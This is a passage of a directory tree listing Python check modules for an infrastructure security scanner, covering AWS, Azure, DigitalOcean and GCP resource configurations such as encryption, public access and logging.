LambdaDLQConfigured.py │ │ │ │ │ ├── LambdaEnvironmentCredentials.py │ │ │ │ │ ├── LambdaEnvironmentEncryptionSettings.py │ │ │ │ │ ├── LambdaFunctionIsNotPublic.py │ │ │ │ │ ├── LambdaFunctionLevelConcurrentExecutionLimit.py │ │ │ │ │ ├── LambdaFunctionURLAuth.py │ │ │ │ │ ├── LambdaInVPC.py │ │ │ │ │ ├── LambdaServicePermission.py │ │ │ │ │ ├── LambdaXrayEnabled.py │ │ │ │ │ ├── LaunchConfigurationEBSEncryption.py │ │ │ │ │ ├── LaunchTemplateMetadataHop.py │ │ │ │ │ ├── LustreFSEncryptedWithCMK.py │ │ │ │ │ ├── MQBrokerAuditLogging.py │ │ │ │ │ ├── MQBrokerEncryptedWithCMK.py │ │ │ │ │ ├── MQBrokerLogging.py │ │ │ │ │ ├── MQBrokerMinorAutoUpgrade.py │ │ │ │ │ ├── MQBrokerNotPubliclyExposed.py │ │ │ │ │ ├── MQBrokerVersion.py │ │ │ │ │ ├── MSKClusterEncryption.py │ │ │ │ │ ├── MSKClusterLogging.py │ │ │ │ │ ├── MSKClusterNodesArePrivate.py │ │ │ │ │ ├── MWAASchedulerLogsEnabled.py │ │ │ │ │ ├── MWAAWebserverLogsEnabled.py │ │ │ │ │ ├── MWAAWorkerLogsEnabled.py │ │ │ │ │ ├── MemoryDBClusterIntransitEncryption.py │ │ │ │ │ ├── MemoryDBEncryptionWithCMK.py │ │ │ │ │ ├── MemoryDBSnapshotEncryptionWithCMK.py │ │ │ │ │ ├── NeptuneClusterBackupRetention.py │ │ │ │ │ ├── NeptuneClusterEncryptedWithCMK.py │ │ │ │ │ ├── NeptuneClusterInstancePublic.py │ │ │ │ │ ├── NeptuneClusterLogging.py │ │ │ │ │ ├── NeptuneClusterSnapshotEncrypted.py │ │ │ │ │ ├── NeptuneClusterSnapshotEncryptedWithCMK.py │ │ │ │ │ ├── NeptuneClusterStorageEncrypted.py │ │ │ │ │ ├── NeptuneDBClustersCopyTagsToSnapshots.py │ │ │ │ │ ├── NeptuneDBClustersIAMDatabaseAuthenticationEnabled.py │ │ │ │ │ ├── NetworkACLUnrestricted.py │ │ │ │ │ ├── NetworkACLUnrestrictedIngress20.py │ │ │ │ │ ├── NetworkACLUnrestrictedIngress21.py │ │ │ │ │ ├── NetworkACLUnrestrictedIngress22.py │ │ │ │ │ ├── NetworkACLUnrestrictedIngress3389.py │ │ │ │ │ ├── NetworkFirewallDeletionProtection.py │ │ │ │ │ ├── NetworkFirewallPolicyDefinesCMK.py │ │ │ │ │ ├── NetworkFirewallUsesCMK.py │ │ │ │ │ ├── PasswordPolicyExpiration.py │ │ │ │ │ ├── PasswordPolicyLength.py │ │ │ │ │ ├── PasswordPolicyLowercaseLetter.py │ │ │ │ │ ├── PasswordPolicyNumber.py │ │ │ │ │ ├── PasswordPolicyReuse.py │ │ │ │ │ ├── PasswordPolicySymbol.py │ │ │ │ │ ├── PasswordPolicyUppercaseLetter.py │ │ │ │ │ ├── QLDBLedgerDeletionProtection.py │ │ │ │ │ ├── QLDBLedgerPermissionsMode.py │ │ │ │ │ ├── RDSCACertIsRecent.py │ │ │ │ │ ├── RDSClusterActivityStreamEncryptedWithCMK.py │ │ │ │ │ ├── RDSClusterAuditLogging.py │ │ │ │ │ ├── RDSClusterAuroraBacktrack.py │ │ │ │ │ ├── RDSClusterCopyTags.py │ │ │ │ │ ├── RDSClusterEncrypted.py │ │ │ │ │ ├── RDSClusterEncryptedWithCMK.py │ │ │ │ │ ├── RDSClusterIAMAuthentication.py │ │ │ │ │ ├── RDSClusterLogging.py │ │ │ │ │ ├── RDSClusterSnapshotEncrypted.py │ │ │ │ │ ├── RDSDeletionProtection.py │ │ │ │ │ ├── RDSEncryption.py │ │ │ │ │ ├── RDSEnhancedMonitorEnabled.py │ │ │ │ │ ├── RDSHasSecurityGroup.py │ │ │ │ │ ├── RDSIAMAuthentication.py │ │ │ │ │ ├── RDSInstanceAutoBackupEncryptionWithCMK.py │ │ │ │ │ ├── RDSInstanceDeletionProtection.py │ │ │ │ │ ├── RDSInstancePerfInsightsEncryptionWithCMK.py │ │ │ │ │ ├── RDSInstancePerformanceInsights.py │ │ │ │ │ ├── RDSMultiAZEnabled.py │ │ │ │ │ ├── RDSPostgreSQLLogFDWExtension.py │ │ │ │ │ ├── RDSPubliclyAccessible.py │ │ │ │ │ ├── RedShiftSSL.py │ │ │ │ │ ├── RedshiftClusterAllowVersionUpgrade.py │ │ │ │ │ ├── RedshiftClusterAutoSnap.py │ │ │ │ │ ├── RedshiftClusterDatabaseName.py │ │ │ │ │ ├── RedshiftClusterEncryption.py │ │ │ │ │ ├── RedshiftClusterKMSKey.py │ │ │ │ │ ├── RedshiftClusterLogging.py │ │ │ │ │ ├── RedshiftClusterSnapshotCopyGrantEncryptedWithCMK.py │ │ │ │ │ ├── RedshiftClusterUseEnhancedVPCRouting.py │ │ │ │ │ ├── RedshiftClusterWithCommonUsernameAndPublicAccess.py │ │ │ │ │ ├── RedshiftInEc2ClassicMode.py │ │ │ │ │ ├── RedshiftServerlessNamespaceKMSKey.py │ │ │ │ │ ├── RedshitClusterPubliclyAvailable.py │ │ │ │ │ ├── Route53TransferLock.py │ │ │ │ │ ├── S3AbortIncompleteUploads.py │ │ │ │ │ ├── S3AccessPointPubliclyAccessible.py │ │ │ │ │ ├── S3AllowsAnyPrincipal.py │ │ │ │ │ ├── S3BlockPublicACLs.py │ │ │ │ │ ├── S3BlockPublicPolicy.py │ │ │ │ │ ├── S3BucketObjectEncryptedWithCMK.py │ │ │ │ │ ├── S3BucketObjectLock.py │ │ │ │ │ ├── S3GlobalViewACL.py │ │ │ │ │ ├── S3IgnorePublicACLs.py │ │ │ │ │ ├── S3ObjectCopyEncryptedWithCMK.py │ │ │ │ │ ├── S3ProtectAgainstPolicyLockout.py │ │ │ │ │ ├── S3RestrictPublicBuckets.py │ │ │ │ │ ├── S3SecureDataTransport.py │ │ │ │ │ ├── SNSCrossAccountAccess.py │ │ │ │ │ ├── SNSTopicEncryption.py │ │ │ │ │ ├── SNSTopicPolicyAnyPrincipal.py │ │ │ │ │ ├── SQSOverlyPermissive.py │ │ │ │ │ ├── SQSPolicy.py │ │ │ │ │ ├── SQSQueueEncryption.py │ │ │ │ │ ├── SQSQueuePolicyAnyPrincipal.py │ │ │ │ │ ├── SSMDocumentsArePrivate.py │ │ │ │ │ ├── SSMParameterUsesCMK.py │ │ │ │ │ ├── SSMSessionManagerDocumentEncryption.py │ │ │ │ │ ├── SSMSessionManagerDocumentLogging.py │ │ │ │ │ ├── SageMakerInternetAccessDisabled.py │ │ │ │ │ ├── SagemakerDataQualityJobDefinitionEncryption.py │ │ │ │ │ ├── SagemakerDataQualityJobDefinitionTrafficEncryption.py │ │ │ │ │ ├── SagemakerDataQualityJobDefinitionVolumeEncryption.py │ │ │ │ │ ├── SagemakerDomainEncryptedWithCMK.py │ │ │ │ │ ├── SagemakerEndpointConfigurationEncryption.py │ │ │ │ │ ├── SagemakerFlowDefinitionUsesKMS.py │ │ │ │ │ ├── SagemakerModelWithNetworkIsolation.py │ │ │ │ │ ├── SagemakerNotebookEncryption.py │ │ │ │ │ ├── SagemakerNotebookInCustomVPC.py │ │ │ │ │ ├── SagemakerNotebookInstanceAllowsIMDSv2.py │ │ │ │ │ ├── SagemakerNotebookRoot.py │ │ │ │ │ ├── SchedulerScheduleUsesCMK.py │ │ │ │ │ ├── SecretManagerSecret90days.py │ │ │ │ │ ├── SecretManagerSecretEncrypted.py │ │ │ │ │ ├── SecurityGroupRuleDescription.py │ │ │ │ │ ├── SecurityGroupUnrestrictedEgressAny.py │ │ │ │ │ ├── SecurityGroupUnrestrictedIngress22.py │ │ │ │ │ ├── SecurityGroupUnrestrictedIngress3389.py │ │ │ │ │ ├── SecurityGroupUnrestrictedIngress80.py │ │ │ │ │ ├── SecurityGroupUnrestrictedIngressAny.py │ │ │ │ │ ├── SesConfigurationSetDefinesTLS.py │ │ │ │ │ ├── StateMachineLoggingExecutionHistory.py │ │ │ │ │ ├── StateMachineXray.py │ │ │ │ │ ├── SubnetPublicIP.py │ │ │ │ │ ├── TimestreamDatabaseKMSKey.py │ │ │ │ │ ├── TransferServerAllowsOnlySecureProtocols.py │ │ │ │ │ ├── TransferServerIsPublic.py │ │ │ │ │ ├── TransferServerLatestPolicy.py │ │ │ │ │ ├── UnpatchedAuroraPostgresDB.py │ │ │ │ │ ├── VPCDefaultNetwork.py │ │ │ │ │ ├── VPCEndpointAcceptanceConfigured.py │ │ │ │ │ ├── WAFACLCVE202144228.py │ │ │ │ │ ├── WAFEnabled.py │ │ │ │ │ ├── WAFHasAnyRules.py │ │ │ │ │ ├── WAFHasLogs.py │ │ │ │ │ ├── WAFRuleHasAnyActions.py │ │ │ │ │ ├── WorkspaceRootVolumeEncrypted.py │ │ │ │ │ ├── WorkspaceUserVolumeEncrypted.py │ │ │ │ │ └── __init__.py │ │ │ │ ├── azure/ │ │ │ │ │ ├── ACRAdminAccountDisabled.py │ │ │ │ │ ├── ACRAnonymousPullDisabled.py │ │ │ │ │ ├── ACRContainerScanEnabled.py │ │ │ │ │ ├── ACRDedicatedDataEndpointEnabled.py │ │ │ │ │ ├── ACREnableImageQuarantine.py │ │ │ │ │ ├── ACREnableRetentionPolicy.py │ │ │ │ │ ├── ACREnableZoneRedundancy.py │ │ │ │ │ ├── ACRGeoreplicated.py │ │ │ │ │ ├── ACRPublicNetworkAccessDisabled.py │ │ │ │ │ ├── ACRUseSignedImages.py │ │ │ │ │ ├── AKSApiServerAuthorizedIpRanges.py │ │ │ │ │ ├── AKSDashboardDisabled.py │ │ │ │ │ ├── AKSEnablesPrivateClusters.py │ │ │ │ │ ├── AKSEncryptionAtHostEnabled.py │ │ │ │ │ ├── AKSEphemeralOSDisks.py │ │ │ │ │ ├── AKSIsPaidSku.py │ │ │ │ │ ├── AKSLocalAdminDisabled.py │ │ │ │ │ ├── AKSLoggingEnabled.py │ │ │ │ │ ├── AKSMaxPodsMinimum.py │ │ │ │ │ ├── AKSNetworkPolicy.py │ │ │ │ │ ├── AKSNodePublicIpDisabled.py │ │ │ │ │ ├── AKSOnlyCriticalPodsOnSystemNodes.py │ │ │ │ │ ├── AKSPoolTypeIsScaleSet.py │ │ │ │ │ ├── AKSRbacEnabled.py │ │ │ │ │ ├── AKSSecretStoreRotation.py │ │ │ │ │ ├── AKSUpgradeChannel.py │ │ │ │ │ ├── AKSUsesAzurePoliciesAddon.py │ │ │ │ │ ├── AKSUsesDiskEncryptionSet.py │ │ │ │ │ ├── APIManagementBackendHTTPS.py │ │ │ │ │ ├── APIManagementCertsEnforced.py │ │ │ │ │ ├── APIManagementMinTLS12.py │ │ │ │ │ ├── APIManagementPublicAccess.py │ │ │ │ │ ├── APIServicesUseVirtualNetwork.py │ │ │ │ │ ├── ActiveDirectoryUsedAuthenticationServiceFabric.py │ │ │ │ │ ├── AppConfigEncryption.py │ │ │ │ │ ├── AppConfigLocalAuth.py │ │ │ │ │ ├── AppConfigPublicAccess.py │ │ │ │ │ ├── AppConfigPurgeProtection.py │ │ │ │ │ ├── AppConfigSku.py │ │ │ │ │ ├── AppGWDefinesSecureProtocols.py │ │ │ │ │ ├── AppGWUseWAFMode.py │ │ │ │ │ ├── AppGWUsesHttps.py │ │ │ │ │ ├── AppGatewayWAFACLCVE202144228.py │ │ │ │ │ ├── AppServiceAlwaysOn.py │ │ │ │ │ ├── AppServiceAuthentication.py │ │ │ │ │ ├── AppServiceClientCertificate.py │ │ │ │ │ ├── AppServiceDetailedErrorMessagesEnabled.py │ │ │ │ │ ├── AppServiceDisallowCORS.py │ │ │ │ │ ├── AppServiceDotnetFrameworkVersion.py │ │ │ │ │ ├── AppServiceEnableFailedRequest.py │ │ │ │ │ ├── AppServiceEnvironmentZoneRedundant.py │ │ │ │ │ ├── AppServiceFTPSState.py │ │ │ │ │ ├── AppServiceHTTPSOnly.py │ │ │ │ │ ├── AppServiceHttpLoggingEnabled.py │ │ │ │ │ ├── AppServiceHttps20Enabled.py │ │ │ │ │ ├── AppServiceIdentity.py │ │ │ │ │ ├── AppServiceIdentityProviderEnabled.py │ │ │ │ │ ├── AppServiceInstanceMinimum.py │ │ │ │ │ ├── AppServiceJavaVersion.py │ │ │ │ │ ├── AppServiceMinTLSVersion.py │ │ │ │ │ ├── AppServicePHPVersion.py │ │ │ │ │ ├── AppServicePlanZoneRedundant.py │ │ │ │ │ ├── AppServicePublicAccessDisabled.py │ │ │ │ │ ├── AppServicePythonVersion.py │ │ │ │ │ ├── AppServiceRemoteDebuggingNotEnabled.py │ │ │ │ │ ├── AppServiceSetHealthCheck.py │ │ │ │ │ ├── AppServiceSkuMinimum.py │ │ │ │ │ ├── AppServiceSlotDebugDisabled.py │ │ │ │ │ ├── AppServiceSlotHTTPSOnly.py │ │ │ │ │ ├── AppServiceSlotMinTLS.py │ │ │ │ │ ├── AppServiceUsedAzureFiles.py │ │ │ │ │ ├── AutomationEncrypted.py │ │ │ │ │ ├── AzureBatchAccountEndpointAccessDefaultAction.py │ │ │ │ │ ├── AzureBatchAccountUsesKeyVaultEncryption.py │ │ │ │ │ ├── AzureContainerGroupDeployedIntoVirtualNetwork.py │ │ │ │ │ ├── AzureContainerInstanceEnvVarSecureValueType.py │ │ │ │ │ ├── AzureContainerInstancePublicIPAddressType.py │ │ │ │ │ ├── AzureDataExplorerDoubleEncryptionEnabled.py │ │ │ │ │ ├── AzureDefenderDisabledForResManager.py │ │ │ │ │ ├── AzureDefenderOnAppServices.py │ │ │ │ │ ├── AzureDefenderOnContainerRegistry.py │ │ │ │ │ ├── AzureDefenderOnKeyVaults.py │ │ │ │ │ ├── AzureDefenderOnKubernetes.py │ │ │ │ │ ├── AzureDefenderOnServers.py │ │ │ │ │ ├── AzureDefenderOnSqlServerVMS.py │ │ │ │ │ ├── AzureDefenderOnSqlServers.py │ │ │ │ │ ├── AzureDefenderOnStorage.py │ │ │ │ │ ├── AzureFirewallDefinesPolicy.py │ │ │ │ │ ├── AzureFirewallDenyThreatIntelMode.py │ │ │ │ │ ├── AzureFirewallPolicyIDPSDeny.py │ │ │ │ │ ├── AzureFrontDoorEnablesWAF.py │ │ │ │ │ ├── AzureInstanceExtensions.py │ │ │ │ │ ├── AzureInstancePassword.py │ │ │ │ │ ├── AzureManagedDiskEncryption.py │ │ │ │ │ ├── AzureManagedDiskEncryptionSet.py │ │ │ │ │ ├── AzureScaleSetPassword.py │ │ │ │ │ ├── AzureSearchAllowedIPsNotGlobal.py │ │ │ │ │ ├── AzureSearchManagedIdentity.py │ │ │ │ │ ├── AzureSearchPublicNetworkAccessDisabled.py │ │ │ │ │ ├── AzureSearchSLAIndex.py │ │ │ │ │ ├── AzureSearchSLAQueryUpdates.py │ │ │ │ │ ├── AzureServiceFabricClusterProtectionLevel.py │ │ │ │ │ ├── AzureServicebusDoubleEncryptionEnabled.py │ │ │ │ │ ├── AzureServicebusHasCMK.py │ │ │ │ │ ├── AzureServicebusIdentityProviderEnabled.py │ │ │ │ │ ├── AzureServicebusLocalAuthDisabled.py │ │ │ │ │ ├── AzureServicebusMinTLSVersion.py │ │ │ │ │ ├── AzureServicebusPublicAccessDisabled.py │ │ │ │ │ ├── AzureSparkPoolIsolatedComputeEnabled.py │ │ │ │ │ ├── CDNDisableHttpEndpoints.py │ │ │ │ │ ├── CDNEnableHttpsEndpoints.py │ │ │ │ │ ├── CDNTLSProtocol12.py │ │ │ │ │ ├── CognitiveServicesConfigureIdentity.py │ │ │ │ │ ├── CognitiveServicesDisablesPublicNetwork.py │ │ │ │ │ ├── CognitiveServicesEnableLocalAuth.py │ │ │ │ │ ├── CosmosDBAccountsRestrictedAccess.py │ │ │ │ │ ├── CosmosDBDisableAccessKeyWrite.py │ │ │ │ │ ├── CosmosDBDisablesPublicNetwork.py │ │ │ │ │ ├── CosmosDBHaveCMK.py │ │ │ │ │ ├── CosmosDBLocalAuthDisabled.py │ │ │ │ │ ├── CutsomRoleDefinitionSubscriptionOwner.py │ │ │ │ │ ├── DataExplorerSKUHasSLA.py │ │ │ │ │ ├── DataExplorerServiceIdentity.py │ │ │ │ │ ├── DataExplorerUsesDiskEncryption.py │ │ │ │ │ ├── DataFactoryNoPublicNetworkAccess.py │ │ │ │ │ ├── DataFactoryUsesGitRepository.py │ │ │ │ │ ├── DataLakeStoreEncryption.py │ │ │ │ │ ├── DatabricksWorkspaceIsNotPublic.py │ │ │ │ │ ├── EventHubNamespaceMinTLS12.py │ │ │ │ │ ├── EventHubNamespaceZoneRedundant.py │ │ │ │ │ ├── EventgridDomainIdentityProviderEnabled.py │ │ │ │ │ ├── EventgridDomainLocalAuthentication.py │ │ │ │ │ ├── EventgridDomainNetworkAccess.py │ │ │ │ │ ├── EventgridTopicIdentityProviderEnabled.py │ │ │ │ │ ├── EventgridTopicLocalAuthentication.py │ │ │ │ │ ├── EventgridTopicNetworkAccess.py │ │ │ │ │ ├── FrontDoorWAFACLCVE202144228.py │ │ │ │ │ ├── FrontdoorUseWAFMode.py │ │ │ │ │ ├── FunctionAppDisallowCORS.py │ │ │ │ │ ├── FunctionAppEnableLogging.py │ │ │ │ │ ├── FunctionAppHttpVersionLatest.py │ │ │ │ │ ├── FunctionAppMinTLSVersion.py │ │ │ │ │ ├── FunctionAppPublicAccessDisabled.py │ │ │ │ │ ├── FunctionAppsAccessibleOverHttps.py │ │ │ │ │ ├── FunctionAppsEnableAuthentication.py │ │ │ │ │ ├── GithubActionsOIDCTrustPolicy.py │ │ │ │ │ ├── IoTNoPublicNetworkAccess.py │ │ │ │ │ ├── KeyBackedByHSM.py │ │ │ │ │ ├── KeyExpirationDate.py │ │ │ │ │ ├── KeyVaultDisablesPublicNetworkAccess.py │ │ │ │ │ ├── KeyVaultEnablesFirewallRulesSettings.py │ │ │ │ │ ├── KeyVaultEnablesPurgeProtection.py │ │ │ │ │ ├── KeyVaultEnablesSoftDelete.py │ │ │ │ │ ├── KeyvaultRecoveryEnabled.py │ │ │ │ │ ├── KubernetesClusterHTTPApplicationRouting.py │ │ │ │ │ ├── LinuxVMUsesSSH.py │ │ │ │ │ ├── MLCCLADisabled.py │ │ │ │ │ ├── MLComputeClusterMinNodes.py │ │ │ │ │ ├── MLPublicAccess.py │ │ │ │ │ ├── MSSQLServerAuditPolicyLogMonitor.py │ │ │ │ │ ├── MSSQLServerMinTLSVersion.py │ │ │ │ │ ├── MariaDBGeoBackupEnabled.py │ │ │ │ │ ├── MariaDBPublicAccessDisabled.py │ │ │ │ │ ├── MariaDBSSLEnforcementEnabled.py │ │ │ │ │ ├── MonitorLogProfileCategories.py │ │ │ │ │ ├── MonitorLogProfileRetentionDays.py │ │ │ │ │ ├── MySQLEncryptionEnabled.py │ │ │ │ │ ├── MySQLGeoBackupEnabled.py │ │ │ │ │ ├── MySQLPublicAccessDisabled.py │ │ │ │ │ ├── MySQLServerMinTLSVersion.py │ │ │ │ │ ├── MySQLServerSSLEnforcementEnabled.py │ │ │ │ │ ├── MySQLTreatDetectionEnabled.py │ │ │ │ │ ├── NSGRuleHTTPAccessRestricted.py │ │ │ │ │ ├── NSGRulePortAccessRestricted.py │ │ │ │ │ ├── NSGRuleRDPAccessRestricted.py │ │ │ │ │ ├── NSGRuleSSHAccessRestricted.py │ │ │ │ │ ├── NSGRuleUDPAccessRestricted.py │ │ │ │ │ ├── NetworkInterfaceEnableIPForwarding.py │ │ │ │ │ ├── NetworkWatcherFlowLogPeriod.py │ │ │ │ │ ├── OpenAICognitiveServicesRestrictOutboundNetwork.py │ │ │ │ │ ├── PostgreSQLEncryptionEnabled.py │ │ │ │ │ ├── PostgreSQLFlexiServerGeoBackupEnabled.py │ │ │ │ │ ├── PostgreSQLMinTLSVersion.py │ │ │ │ │ ├── PostgreSQLServerConnectionThrottlingEnabled.py │ │ │ │ │ ├── PostgreSQLServerLogCheckpointsEnabled.py │ │ │ │ │ ├── PostgreSQLServerLogConnectionsEnabled.py │ │ │ │ │ ├── PostgreSQLServerLogRetentionEnabled.py │ │ │ │ │ ├── PostgreSQLServerPublicAccessDisabled.py │ │ │ │ │ ├── PostgreSQLServerSSLEnforcementEnabled.py │ │ │ │ │ ├── PostgresSQLTreatDetectionEnabled.py │ │ │ │ │ ├── PostgressSQLGeoBackupEnabled.py │ │ │ │ │ ├── PubsubSKUSLA.py │ │ │ │ │ ├── PubsubSpecifyIdentity.py │ │ │ │ │ ├── RedisCacheEnableNonSSLPort.py │ │ │ │ │ ├── RedisCacheMinTLSVersion.py │ │ │ │ │ ├── RedisCachePublicNetworkAccessEnabled.py │ │ │ │ │ ├── RedisCacheStandardReplicationEnabled.py │ │ │ │ │ ├── SQLDatabaseLedgerEnabled.py │ │ │ │ │ ├── SQLDatabaseZoneRedundant.py │ │ │ │ │ ├── SQLServerEmailAlertsEnabled.py │ │ │ │ │ ├── SQLServerEmailAlertsToAdminsEnabled.py │ │ │ │ │ ├── SQLServerNoPublicAccess.py │ │ │ │ │ ├── SQLServerPublicAccessDisabled.py │ │ │ │ │ ├── SQLServerThreatDetectionTypes.py │ │ │ │ │ ├── SecretContentType.py │ │ │ │ │ ├── SecretExpirationDate.py │ │ │ │ │ ├── SecurityCenterContactEmailAlert.py │ │ │ │ │ ├── SecurityCenterContactEmailAlertAdmins.py │ │ │ │ │ ├── SecurityCenterContactEmails.py │ │ │ │ │ ├── SecurityCenterContactPhone.py │ │ │ │ │ ├── SecurityCenterStandardPricing.py │ │ │ │ │ ├── SignalRSKUSLA.py │ │ │ │ │ ├── SpringCloudAPIPortalHTTPSOnly.py │ │ │ │ │ ├── SpringCloudAPIPortalPublicAccessIsDisabled.py │ │ │ │ │ ├── StorageAccountAzureServicesAccessEnabled.py │ │ │ │ │ ├── StorageAccountDefaultNetworkAccessDeny.py │ │ │ │ │ ├── StorageAccountDisablePublicAccess.py │ │ │ │ │ ├── StorageAccountLoggingQueueServiceEnabled.py │ │ │ │ │ ├── StorageAccountMinimumTlsVersion.py │ │ │ │ │ ├── StorageAccountName.py │ │ │ │ │ ├── StorageAccountsTransportEncryption.py │ │ │ │ │ ├── StorageAccountsUseReplication.py │ │ │ │ │ ├── StorageBlobRestrictPublicAccess.py │ │ │ │ │ ├── StorageBlobServiceContainerPrivateAccess.py │ │ │ │ │ ├── StorageLocalUsers.py │ │ │ │ │ ├── StorageSyncPublicAccessDisabled.py │ │ │ │ │ ├── StorageSyncServicePermissiveAccess.py │ │ │ │ │ ├── SynapseSQLPoolDataEncryption.py │ │ │ │ │ ├── SynapseWorkspaceAdministratorLoginPasswordHidden.py │ │ │ │ │ ├── SynapseWorkspaceCMKEncryption.py │ │ │ │ │ ├── SynapseWorkspaceEnablesDataExfilProtection.py │ │ │ │ │ ├── SynapseWorkspaceEnablesManagedVirtualNetworks.py │ │ │ │ │ ├── VMAgentIsInstalled.py │ │ │ │ │ ├── VMCredsInCustomData.py │ │ │ │ │ ├── VMDisablePasswordAuthentication.py │ │ │ │ │ ├── VMDiskWithPublicAccess.py │ │ │ │ │ ├── VMEncryptionAtHostEnabled.py │ │ │ │ │ ├── VMScaleSetsAutoOSImagePatchingEnabled.py │ │ │ │ │ ├── VMStorageOsDisk.py │ │ │ │ │ ├── VnetLocalDNS.py │ │ │ │ │ ├── VnetSingleDNSServer.py │ │ │ │ │ ├── WinVMAutomaticUpdates.py │ │ │ │ │ ├── WinVMEncryptionAtHost.py │ │ │ │ │ └── __init__.py │ │ │ │ ├── base_cloudsplaining_resource_iam_check.py │ │ │ │ ├── base_registry.py │ │ │ │ ├── base_resource_check.py │ │ │ │ ├── base_resource_negative_value_check.py │ │ │ │ ├── base_resource_value_check.py │ │ │ │ ├── digitalocean/ │ │ │ │ │ ├── DropletSSHKeys.py │ │ │ │ │ ├── FirewallIngressOpen.py │ │ │ │ │ ├── SpacesBucketPublicRead.py │ │ │ │ │ ├── SpacesBucketVersioning.py │ │ │ │ │ └── __init__.py │ │ │ │ ├── gcp/ │ │ │ │ │ ├── AbsGoogleBasicRoles.py │ │ │ │ │ ├── AbsGoogleComputeFirewallUnrestrictedIngress.py │ │ │ │ │ ├── AbsGoogleIAMMemberDefaultServiceAccount.py │ │ │ │ │ ├── AbsGoogleImpersonationRoles.py │ │ │ │ │ ├── AbsGooglePostgresqlDatabaseFlags.py │ │ │ │ │ ├── ArtifactRegistryPrivateRepo.py │ │ │ │ │ ├── ArtifactRegsitryEncryptedWithCMK.py │ │ │ │ │ ├── BigQueryDatasetEncryptedWithCMK.py │ │ │ │ │ ├── BigQueryPrivateTable.py │ │ │ │ │ ├── BigQueryTableDeletionProtection.py │ │ │ │ │ ├── BigQueryTableEncryptedWithCMK.py │ │ │ │ │ ├── BigTableInstanceDeletionProtection.py │ │ │ │ │ ├── BigTableInstanceEncryptedWithCMK.py │ │ │ │ │ ├── CloudArmorWAFACLCVE202144228.py │ │ │ │ │ ├── CloudBuildWorkersArePrivate.py │ │ │ │ │ ├── CloudFunctionPermissiveIngress.py │ │ │ │ │ ├── CloudFunctionsShouldNotBePublic.py │ │ │ │ │ ├── CloudPubSubEncryptedWithCMK.py │ │ │ │ │ ├── CloudSqlMajorVersion.py │ │ │ │ │ ├── CloudStorageLogging.py │ │ │ │ │ ├── CloudStorageSelfLogging.py │ │ │ │ │ ├── CloudStorageVersioningEnabled.py │ │ │ │ │ ├── DataFusionPrivateInstance.py │ │ │ │ │ ├── DataFusionStackdriverLogs.py │ │ │ │ │ ├── DataFusionStackdriverMonitoring.py │ │ │ │ │ ├── DataflowJobEncryptedWithCMK.py │ │ │ │ │ ├── DataflowPrivateJob.py │ │ │ │ │ ├── DataprocClusterEncryptedWithCMK.py │ │ │ │ │ ├── DataprocPrivateCluster.py │ │ │ │ │ ├── DataprocPublicIpCluster.py │ │ │ │ │ ├── GCPCloudRunPrivateService.py │ │ │ │ │ ├── GKEAliasIpEnabled.py │ │ │ │ │ ├── GKEBinaryAuthorization.py │ │ │ │ │ ├── GKEClientCertificateDisabled.py │ │ │ │ │ ├── GKEClusterLogging.py │ │ │ │ │ ├── GKEDisableLegacyAuth.py │ │ │ │ │ ├── GKEDontUseNodePools.py │ │ │ │ │ ├── GKEEnableShieldedNodes.py │ │ │ │ │ ├── GKEEnableVPCFlowLogs.py │ │ │ │ │ ├── GKEEnsureIntegrityMonitoring.py │ │ │ │ │ ├── GKEHasLabels.py │ │ │ │ │ ├── GKEKubernetesRBACGoogleGroups.py │ │ │ │ │ ├── GKEMasterAuthorizedNetworksEnabled.py │ │ │ │ │ ├── GKEMetadataServerIsEnabled.py │ │ │ │ │ ├── GKEMonitoringEnabled.py │ │ │ │ │ ├── GKENetworkPolicyEnabled.py │ │ │ │ │ ├── GKENodePoolAutoRepairEnabled.py │ │ │ │ │ ├── GKENodePoolAutoUpgradeEnabled.py │ │ │ │ │ ├── GKEPodSecurityPolicyEnabled.py │ │ │ │ │ ├── GKEPrivateClusterConfig.py │ │ │ │ │ ├── GKEPrivateNodes.py │ │ │ │ │ ├── GKEPublicControlPlane.py │ │ │ │ │ ├── GKEReleaseChannel.py │ │ │ │ │ ├── GKESecureBootforShieldedNodes.py │ │ │ │ │ ├── GKEUseCosImage.py │ │ │ │ │ ├── GithubActionsOIDCTrustPolicy.py │ │ │ │ │ ├── GoogleBigQueryDatasetPublicACL.py │ │ │ │ │ ├── GoogleCloudDNSKeySpecsRSASHA1.py │ │ │ │ │ ├── GoogleCloudDNSSECEnabled.py │ │ │ │ │ ├── GoogleCloudMySqlLocalInfileOff.py │ │ │ │ │ ├── GoogleCloudPostgreSqlEnablePgaudit.py │ │ │ │ │ ├── GoogleCloudPostgreSqlLogCheckpoints.py │ │ │ │ │ ├── GoogleCloudPostgreSqlLogConnection.py │ │ │ │ │ ├── GoogleCloudPostgreSqlLogDisconnection.py │ │ │ │ │ ├── GoogleCloudPostgreSqlLogHostname.py │ │ │ │ │ ├── GoogleCloudPostgreSqlLogLockWaits.py │ │ │ │ │ ├── GoogleCloudPostgreSqlLogMinDuration.py │ │ │ │ │ ├── GoogleCloudPostgreSqlLogMinErrorStatement.py │ │ │ │ │ ├── GoogleCloudPostgreSqlLogMinMessage.py │ │ │ │ │ ├── GoogleCloudPostgreSqlLogStatement.py │ │ │ │ │ ├── GoogleCloudPostgreSqlLogTemp.py │ │ │ │ │ ├── GoogleCloudSqlBackupConfiguration.py │ │ │ │ │ ├── GoogleCloudSqlDatabasePubliclyAccessible.py │ │ │ │ │ ├── GoogleCloudSqlDatabaseRequireSsl.py │ │ │ │ │ ├── GoogleCloudSqlServerContainedDBAuthentication.py │ │ │ │ │ ├── GoogleCloudSqlServerCrossDBOwnershipChaining.py │ │ │ │ │ ├── GoogleCloudSqlServerNoPublicIP.py │ │ │ │ │ ├── GoogleComputeBlockProjectSSH.py │ │ │ │ │ ├── GoogleComputeBootDiskEncryption.py │ │ │ │ │ ├── GoogleComputeDefaultServiceAccount.py │ │ │ │ │ ├── GoogleComputeDefaultServiceAccountFullAccess.py │ │ │ │ │ ├── GoogleComputeDiskEncryption.py │ │ │ │ │ ├── GoogleComputeExternalIP.py │ │ │ │ │ ├── GoogleComputeFirewallUnrestrictedIngress20.py │ │ │ │ │ ├── GoogleComputeFirewallUnrestrictedIngress21.py │ │ │ │ │ ├── GoogleComputeFirewallUnrestrictedIngress22.py │ │ │ │ │ ├── GoogleComputeFirewallUnrestrictedIngress3306.py │ │ │ │ │ ├── GoogleComputeFirewallUnrestrictedIngress3389.py │ │ │ │ │ ├── GoogleComputeFirewallUnrestrictedIngress80.py │ │ │ │ │ ├── GoogleComputeIPForward.py │ │ │ │ │ ├── GoogleComputeInstanceOSLogin.py │ │ │ │ │ ├── 